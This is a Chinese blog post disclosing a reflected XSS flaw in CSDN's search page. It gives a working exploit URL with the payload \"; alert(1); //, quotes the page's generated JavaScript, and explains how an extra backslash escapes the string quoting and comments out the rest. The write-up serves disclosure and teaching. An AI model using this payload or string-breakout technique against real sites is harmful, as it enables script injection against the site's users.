CSDN 存在反射型 XSS 漏洞

原文链接:https://www.sanphantom.com/?p=307

CSDN XSS 漏洞

利用地址

https://so.csdn.net/so/search/s.do?q=%5C%22%3B+alert%281%29+%2F%2F&t=doc&o=&s=&l=&f=

playload

\"; alert(1); //

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fSZC6XBZ-1571581083214)(https://i.loli.net/2019/10/20/fx1K8mzXawVNDCj.png)]

存在原因

动态生成 JavaScript 代码存在转义纰漏。通过查看源代码发现源码中有如下代码:


    var blogUn = "";
    var ty = "doc";
    var isVip = "0";
    var blogRequsetId="";
    var downloadRequsetId="157158021819726861934582";
    var askRequsetId="";
    var bbsRequsetId="";
    var eduRequsetId="";
    var gitchatRequsetId="";
    console.log("blogRequsetId:"+blogRequsetId+",downloadRequsetId:"+downloadRequsetId+",askRequsetId:"+askRequsetId
    +",bbsRequsetId:"+bbsRequsetId+",eduRequsetId:"+eduRequsetId+",gitchatRequsetId:"+gitchatRequsetId);
    
    //从博主过来的搜索
    if (blogUn != "") {
        if ($('.search-list-con').find('.J_search').length <= 0) {
            $("#nodata").show()
            // $('.baidu_img').hide()
        }
    }
    var queryword = "\\"; alert(1) //";
    var userObj = "";
    if ("" != "") {
        userObj = eval('(' + "" + ')');
    }
    if (!blogUn && ty == '') {
    }
    $("#keyword").val(queryword);
    $("#keyword1").val(queryword);
    $("#relateSearch").text(queryword);
    $("#csdnSearch").text(queryword + "- CSDN搜索");
    var isContainBaidu = "0";
    // console.log('queryword===',queryword)
    var newqueryword = encodeURIComponent(queryword)
    if (isVip != "1" || isVip == "0") {
        // 不是免广告的才会
        $.ajax({
            type: 'GET',
            url: 'https://kunpeng.csdn.net/ad/list?positions=470,471,472,473&contentKey=' + newqueryword,
            dataType: 'json',
            success: function (result) {
                console.log('鲲鹏流量分发接口返回====', result)
                if (result && result.length) {
                    //  console.log(ty,'ty======')
                    if (!blogUn && ty == '') {
                        // 来自全部
                        // console.log('来自全部====')
                    } else {
                        // 其他页卡填充 第一条放广告
                        if ((ty && ty !== 'course') && (ty && ty !== 'gitchat') && (ty && ty !== 'discuss') && (ty && ty !== 'doc') && (ty && ty !== 'ask')) {
                            if (result[0] && result[0].status) {
                                //console.log('result[0].con===',result[0].con)
                                var firstDom = $(".J_search")[0];
                                $(firstDom).before(result[0].con)
                            }
                        }
                    }
                    // 第3条后面插入广告 第8条后面插入广告 第13条后面插入广告
                    // 对于首页来说没有J_search 则是 第4 9 14 后面插入广告
                    if (ty !== 'course' && ty !== 'gitchat' && ty !== 'ask') {
                        if (result[1] && result[1].status && $(".J_search").length >= 3) {
                            $($(".J_search")[2]).after(result[1].con)
                        }
                        if (result[2] && result[2].status && $(".J_search").length >= 8) {
                            $($(".J_search")[7]).after(result[2].con)
                        }
                        if (result[3] && result[3].status && $(".J_search").length >= 13) {
//                         console.log('result[3].con===',result[3].con)
                            $($(".J_search")[12]).after(result[3].con)
                        }
                    }
                }
            }
        });
    }

重点在生成的这一句代码:

var queryword = "\\"; alert(1) //";

\"; alert(1) // 为我们所构造的 playload

不难发现原本代码是将 " 进行了 \" 转义,但是如果我在 \ 前再进行一次转义的话就可以构造一个完整的字符串。这样后面就编写我们自己的脚本了。但是原有代码后面始终会有一个 " 作为结束,为了使代码不报错且能正常运行,可以构造一个双斜杠来将后面的代码注释掉。

你可能感兴趣的:(信息安全)